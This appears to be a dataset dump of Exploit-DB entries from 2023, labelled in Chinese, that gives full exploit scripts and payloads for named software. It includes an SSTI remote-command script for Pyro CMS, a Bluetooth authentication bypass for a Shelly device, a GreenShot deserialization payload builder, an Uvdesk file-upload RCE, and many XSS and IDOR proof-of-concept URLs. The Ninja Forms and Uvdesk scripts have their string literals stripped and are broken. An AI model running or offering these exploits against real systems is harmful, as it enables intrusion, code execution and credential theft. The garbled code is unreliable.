QLWD/code_shield huggingface dataset:
标题: Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated) EDB-ID: 51669 CVE: 2023-29689 类型: WEBAPPS 平台: PYTHON 发布日期: 2023-08-08 漏洞利用脚本: # Exploit Title: Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security
# Date: 03/08/2023
# Vendor: https://pyrocms.com/
# Software Link: https://pyrocms.com/documentation/pyrocms/3.9/getting-started/installation
# Vulnerable Version(s): 3.9
# CVE: CVE-2023-29689
# Notes: You need a user who has access to /admin privilege

# Example Usage:
# First, run the script: python3 CVE-2023-29689.py
# Please follow these steps:
# 1. Enter the application URL: http://localhost:8000
# 2. Enter the email for authentication: admin@adm.com
# 3. Enter the password: Admin@@2023
# 4. Enter the command to be executed: id
# Result of command execution:
# uid=1000(cupcake) gid=1000(cupcake) groups=1000(cupcake)

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin

def login(session, url, email, password):
    login_url = urljoin(url, '/admin/login')
    response = session.get(login_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'email': email,
        'password': password
    }

    session.post(login_url, data=payload)

# Function to edit role 1 and extract the Description of the Admin user.
def edit_role_and_extract_description(session, url, command):
    edit_role_url = urljoin(url, '/admin/users/roles/edit/1')
    response = session.get(edit_role_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'name_en': 'Admin',
        'slug': 'admin',
        'description_en': f'{{{{["{command}"]|map("system")|join}}}}',
        'action': 'save_exit'
    }

    session.post(edit_role_url, data=payload)

    # Extract the updated Description from role 1.
    response = session.get(urljoin(url, '/admin/users/roles'))
    soup = BeautifulSoup(response.content, 'html.parser')
    description = soup.find('td', {'data-title': 'Description'}).text.strip()

    return description
    
def main():
    url = input("Enter the application URL: ")
    email = input("Enter the email for authentication: ")
    password = input("Enter the password : ")
    command = input("Enter the command to be executed: ")

    with requests.Session() as session:
        login(session, url, email, password)
        description = edit_role_and_extract_description(session, url, command)
        print("\nResult of command execution:")
        print(description)

if __name__ == "__main__":
    main() URL: https://www.exploit-db.com/exploits/51669
标题: Shelly PRO 4PM v0.11.0 - Authentication Bypass EDB-ID: 51657 CVE: 2023-33383 类型: REMOTE 平台: HARDWARE 发布日期: 2023-08-04 漏洞利用脚本: #!/bin/bash

# Exploit Title: Shelly PRO 4PM v0.11.0 - Authentication Bypass
# Google Dork: NA
# Date: 2nd August 2023
# Exploit Author: The Security Team [exploitsecurity.io]
# Exploit Blog: https://www.exploitsecurity.io/post/cve-2023-33383-authentication-bypass-via-an-out-of-bounds-read-vulnerability
# Vendor Homepage: https://www.shelly.com/
# Software Link: NA
# Version: Firmware v0.11.0 (REQUIRED)
# Tested on: MacOS/Linux
# CVE : CVE-2023-33383

IFS=
failed=$false
RED="\e[31m"
GREEN="\e[92m"
WHITE="\e[97m"
ENDCOLOR="\e[0m"
substring="Connection refused"


banner()
    {
        clear
        echo -e "${GREEN}[+]*********************************************************[+]"
        echo -e "${GREEN}|   Author : Security Team [${RED}exploitsecurity.io${ENDCOLOR}]              |"
        echo -e "${GREEN}|   Description: Shelly PRO 4PM - Out of Bounds              |"
        echo -e "${GREEN}|   CVE: CVE-2023-33383                                      |"
        echo -e "${GREEN}[+]*********************************************************[+]"
        echo -e "${GREEN}[Enter key to send payload]${ENDCOLOR}"
    }

banner
read -s -n 1 key
if [ "$key" = "x" ]; then
    exit 0;
elif [ "$key" = "" ]; then
    gattout=$(sudo timeout 5 gatttool -b c8:f0:9e:88:92:3e --primary)
    if [ -z "$gattout" ]; then
        echo -e "${RED}Connection timed out${ENDCOLOR}"
        exit 0;
    else
    sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x000d -n 00000001 >/dev/null 2>&1
    echo -ne "${GREEN}[Sending Payload]${ENDCOLOR}"
    sleep 1
    if [ $? -eq 1 ]; then
       $failed=$true
       exit 0;
    fi
    sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x0008 -n ab >/dev/null 2>&1
    sleep 1
    if [ $? -eq 1 ]; then
        $failed=$true
        echo -e "${RED}[**Exploit Failed**]${ENDCOLOR}"
        exit 0;
    else
       sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x0008 -n abcd >/dev/null 2>&1
       sleep 1
       for i in {1..5}
       do
          echo -ne "${GREEN}."
          sleep 1
       done
       echo -e "\n${WHITE}[Pwned!]${ENDCOLOR}"
    fi
fi
fi URL: https://www.exploit-db.com/exploits/51657
标题: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Event Access EDB-ID: 51658 CVE: 2023-2796 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-04 漏洞利用脚本: # Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Event Access
# Date: 03.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.myeventon.com/
# Version: 4.4
# Tested on: Google and Firefox latest version
# CVE : CVE-2023-2796

# 1. Description
The plugin lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=value URL: https://www.exploit-db.com/exploits/51658
标题: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Post Access via IDOR EDB-ID: 51659 CVE: 2023-3219 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-04 漏洞利用脚本: # Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Post Access via IDOR
# Date: 03.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.myeventon.com/
# Version: 4.4
# Tested on: Google and Firefox latest version
# CVE : CVE-2023-3219

# 1. Description
The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitors to access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=<any post id> URL: https://www.exploit-db.com/exploits/51659
标题: Adlisting Classified Ads 2.14.0 - WebPage Content Information Disclosure EDB-ID: 51667 CVE: 2023-4168 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-08 漏洞利用脚本: # Exploit Title: Adlisting Classified Ads 2.14.0 - WebPage Content Information Disclosure
# Exploit Author: CraCkEr
# Date: 25/07/2023
# Vendor: Templatecookie
# Vendor Homepage: https://templatecookie.com/
# Software Link: https://templatecookie.com/demo/adlisting-classified-ads-script
# Version: 2.14.0
# Tested on: Windows 10 Pro
# Impact: Sensitive Information Leakage
# CVE: CVE-2023-4168


## Description

Information disclosure issue in the redirect responses, When accessing any page on the website,
Sensitive data, such as API keys, server keys, and app IDs, is being exposed in the body of these redirects.


## Steps to Reproduce:

When you visit any page on the website, like:

https://website/ad-list?category=electronics
https://website/ad-list-search?page=2
https://website/ad-list-search?keyword=&lat=&long=&long=&lat=&location=&category=&keyword=

in the body page response there's information leakage for

+---------------------+
google_map_key
api_key
auth_domain
project_id
storage_bucket
messaging_sender_id
app_id
measurement_id
+---------------------+


Note: The same information leaked, such as the API keys, server keys, and app ID, was added to the "Firebase Push Notification Configuration" in the Administration Panel.

Settings of "Firebase Push Notification Configuration" in the Administration Panel, on this Path:

https://website/push-notification (Login as Administrator)



[-] Done URL: https://www.exploit-db.com/exploits/51667
标题: Academy LMS 6.0 - Reflected XSS EDB-ID: 51654 CVE: 2023-4119 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-04 漏洞利用脚本: # Exploit Title: Academy LMS 6.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 22/07/2023
# Vendor: Creativeitem
# Vendor Homepage: https://creativeitem.com/
# Software Link: https://demo.creativeitem.com/academy/
# Version: 6.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4119


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /academy/home/courses

GET parameter 'query' is vulnerable to XSS

https://website/academy/home/courses?query=[XSS]


Path: /academy/home/courses

GET parameter 'sort_by' is vulnerable to XSS

https://website/academy/home/courses?category=web-design&price=all&level=all&language=all&rating=all&sort_by=[XSS]


XSS Payloads (Blocked) :

<script>alert(1)</script>
ldt4d"><ScRiPt>alert(1)</ScRiPt>nuydd


XSS Payload Bypass Filter :

cplvz"><img src=a onerror=alert(1)>fk4ap



[-] Done URL: https://www.exploit-db.com/exploits/51654
标题: PHPJabbers Taxi Booking 2.0 - Reflected XSS EDB-ID: 51652 CVE: 2023-4116 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-04 漏洞利用脚本: # Exploit Title: PHPJabbers Taxi Booking 2.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 22/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/taxi-booking-script/
# Version: 2.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4116


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

GET parameter 'index' is vulnerable to RXSS

https://website/index.php?controller=pjFrontPublic&action=pjActionSearch&locale=1&index=[XSS]


[-] Done URL: https://www.exploit-db.com/exploits/51652
标题: PHPJabbers Rental Property Booking 2.0 - Reflected XSS EDB-ID: 51653 CVE: 2023-4117 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-04 漏洞利用脚本: # Exploit Title: PHPJabbers Rental Property Booking 2.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 22/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/rental-property-booking-calendar/
# Version: 2.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4117


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

GET parameter 'index' is vulnerable to RXSS

https://website/index.php?controller=pjFront&action=pjActionSearch&session_id=&locale=1&index=[XSS]&date=


[-] Done URL: https://www.exploit-db.com/exploits/51653
标题: PHPJabbers Night Club Booking 1.0 - Reflected XSS EDB-ID: 51650 CVE: 2023-4114 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-04 漏洞利用脚本: # Exploit Title: PHPJabbers Night Club Booking 1.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 21/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/night-club-booking-software/
# Version: 1.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4114


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

GET parameter 'index' is vulnerable to RXSS

https://website/index.php?controller=pjFront&action=pjActionSearch&session_id=&locale=1&index=[XSS]&date= URL: https://www.exploit-db.com/exploits/51650
标题: PHPJabbers Service Booking Script 1.0 - Reflected XSS EDB-ID: 51649 CVE: 2023-4113 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-04 漏洞利用脚本: # Exploit Title: PHPJabbers Service Booking Script 1.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 21/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/service-booking-script/
# Version: 1.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4113


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

GET parameter 'index' is vulnerable to RXSS

https://website/index.php?controller=pjFrontPublic&action=pjActionServices&locale=1&index=[XSS] URL: https://www.exploit-db.com/exploits/51649
标题: PHPJabbers Shuttle Booking Software 1.0 - Reflected XSS EDB-ID: 51648 CVE: 2023-4112 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-04 漏洞利用脚本: # Exploit Title: PHPJabbers Shuttle Booking Software 1.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 20/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/shuttle-booking-software/
# Version: 1.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4112


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

URL parameter is vulnerable to RXSS

https://website/index.php/gm5rj"><script>alert(1)</script>bwude?controller=pjAdmin&action=pjActionLogin&err=1 URL: https://www.exploit-db.com/exploits/51648
标题: PHPJabbers Cleaning Business 1.0 - Reflected XSS EDB-ID: 51651 CVE: 2023-4115 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-04 漏洞利用脚本: # Exploit Title: PHPJabbers Cleaning Business 1.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 21/07/2023
# Vendor: PHPJabbers
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/cleaning-business-software/
# Version: 1.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4115


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

GET parameter 'index' is vulnerable to RXSS

https://website/index.php?controller=pjFront&action=pjActionServices&locale=1&index=[XSS]

[-] Done URL: https://www.exploit-db.com/exploits/51651
标题: WordPress Plugin Ninja Forms 3.6.25 - Reflected XSS EDB-ID: 51644 CVE: 2023-37979 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-04 漏洞利用脚本: # Exploit Title: WordPress Plugin Ninja Forms 3.6.25 - Reflected XSS (Authenticated)
# Google Dork: inurl:/wp-content/plugins/ninja-forms/readme.txt
# Date: 2023-07-27
# Exploit Author: Mehran Seifalinia
# Vendor Homepage: https://ninjaforms.com/
# Software Link: https://downloads.wordpress.org/plugin/ninja-forms.3.6.25.zip
# Version: 3.6.25
# Tested on: Windows 10
# CVE: CVE-2023-37979

from requests import get
from sys import argv
from os import getcwd
import webbrowser
from time import sleep



url  argv
 url  
    url  urlrstrip


CVE_NAME  
VULNERABLE_VERSION  

  
HTML_TEMPLATE  f

 
     f   poc
        pocwriteHTML_TEMPLATE
        f
        
        sleep
        webbrowserf


 
    
        response  geturl  
         responsestatus_code      responsetext
            
             
        
            version  responsetextsplitsplitsplit
            main_version  versionsplit
            partial_version  versionsplit
            final_version  versionsplit
             main_version    main_version    partial_version    main_version    partial_version    final_version  
                f
                 
            
                f
                 
     Exception  error
        f
        exit


 
    usage  f
    
         argv    argv  
            
            usage
            exit
          urlstartswith 
            
            exit
        
             arg  argv
                 arg  argv
                    
                    state  check_CVE
                     state  
                        exit
                 arglower  
                    exploit
                 arg  url
                    
                
                    f
     Exception  error
        f
        exit

 __name__  
    check_script URL: https://www.exploit-db.com/exploits/51644
标题: Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting EDB-ID: 51643 CVE: 2023-36306 类型: WEBAPPS 平台: PHP 发布日期: 2023-08-04 漏洞利用脚本: # Exploit Title: Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting
# Date: 2023.Aug.01
# Exploit Author: Pedro (ISSDU TW)
# Vendor Homepage: https://loganalyzer.adiscon.com/
# Software Link: https://loganalyzer.adiscon.com/download/
# Version: v4.1.13 and before
# Tested on: Linux
# CVE : CVE-2023-36306

There are several installation method.
If you installed without database(File-Based),No need to login.
If you installed with database, You should login with Read Only User(at least)

XSS Payloads are as below:

XSS
http://[ip address]/loganalyzer/asktheoracle.php?type=domain&query=&uid=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
http://[ip address]/loganalyzer/chartgenerator.php?type=2&byfield=syslogseverity&width=400&%%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E=123
http://[ip address]/loganalyzer/details.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/index.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/search.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E
http://[ip address]/loganalyzer/export.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/reports.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/statistics.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E URL: https://www.exploit-db.com/exploits/51643
标题: Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated) EDB-ID: 51639 CVE: 2023-39147 类型: WEBAPPS 平台: PHP 发布日期: 2023-07-31 漏洞利用脚本: # Exploit Title: Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated)
# Date: 28/07/2023
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security 
# Vendor Homepage: https://www.uvdesk.com
# Software Link: https://github.com/uvdesk/community-skeleton
# Version: 1.1.3
# Example: python3 CVE-2023-39147.py -u "http://$ip:8000/" -c "whoami"
# CVE : CVE-2023-39147
# Tested on: Ubuntu 20.04.6


import requests
import argparse

 
    parser  argparseArgumentParser
    parseradd_argument  required action 
    parseradd_argument  required action 
    my_args  parserparse_args
     my_args

 
    args  get_args
    base_url  argsurl

    command  argscommand
    uploaded_file  
    url_cmd  base_url    command


    login_data  
         
         
         
    

    files  
          
          
          
         uploaded_file  
    

    s  requestssession
    
    spostbase_url   datalogin_data
    
    upload_response  spostbase_url   filesfiles
    
    cmd  sgeturl_cmd
    cmdtext

 __name__  
    main URL: https://www.exploit-db.com/exploits/51639
标题: copyparty v1.8.6 - Reflected Cross Site Scripting (XSS) EDB-ID: 51635 CVE: 2023-38501 类型: WEBAPPS 平台: PYTHON 发布日期: 2023-07-28 漏洞利用脚本: # Exploit Title: copyparty v1.8.6 - Reflected Cross Site Scripting (XSS)
# Date: 23/07/2023
# Exploit Author: Vartamtezidis Theodoros (@TheHackyDog)
# Vendor Homepage: https://github.com/9001/copyparty/
# Software Link: https://github.com/9001/copyparty/releases/tag/v1.8.6
# Version: <=1.8.6
# Tested on: Debian Linux
# CVE : CVE-2023-38501



#Description
Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack. 

Vulnerability that exists in the web interface of the application could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.

#POC
https://localhost:3923/?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(1)%3E URL: https://www.exploit-db.com/exploits/51635
标题: GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution EDB-ID: 51633 CVE: 2023-34634 类型: LOCAL 平台: WINDOWS 发布日期: 2023-07-28 漏洞利用脚本: # Exploit Title: GreenShot  1.2.10 - Insecure Deserialization Arbitrary Code Execution
# Date: 26/07/2023
# Exploit Author: p4r4bellum
# Vendor Homepage: https://getgreenshot.org
# Software Link: https://getgreenshot.org/downloads/
# Version: 1.2.6.10
# Tested on: windows 10.0.19045 N/A build 19045
# CVE : CVE-2023-34634
#
# GreenShot 1.2.10 and below is vulnerable to an insecure object deserialization in its custom *.greenshot format
# A stream of .Net object is serialized and inscureley deserialized when a *.greenshot file is open with the software
# On a default install the *.greenshot file extension is associated with the programm, so double-click on a*.greenshot file
# will lead to arbitrary code execution
#
# Generate the payload. You need yserial.net to be installed on your machine. Grab it at https://github.com/pwntester/ysoserial.net
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity  -c "calc" --outputpath payload.bin -o raw
#load the payload
$payload = Get-Content .\payload.bin -Encoding Byte
# retrieve the length of the payload
$length = $payload.Length
# load the required assembly to craft a PNG file
Add-Type -AssemblyName System.Drawing
# the following lines creates a png file with some text. Code borrowed from https://stackoverflow.com/questions/2067920/can-i-draw-create-an-image-with-a-given-text-with-powershell
$filename = "$home\poc.greenshot"
$bmp = new-object System.Drawing.Bitmap 250,61 
$font = new-object System.Drawing.Font Consolas,24 
$brushBg = [System.Drawing.Brushes]::Green 
$brushFg = [System.Drawing.Brushes]::Black 
$graphics = [System.Drawing.Graphics]::FromImage($bmp) 
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height) 
$graphics.DrawString('POC Greenshot',$font,$brushFg,10,10) 
$graphics.Dispose() 
$bmp.Save($filename) 

# append the payload to the PNG file
$payload | Add-Content -Path $filename -Encoding Byte -NoNewline 
# append the length of the payload
[System.BitConverter]::GetBytes([long]$length) | Add-Content -Path $filename -Encoding  Byte -NoNewline
# append the signature
"Greenshot01.02" | Add-Content -path $filename -NoNewline -Encoding Ascii
# launch greenshot. Calc.exe should be executed
Invoke-Item  $filename URL: https://www.exploit-db.com/exploits/51633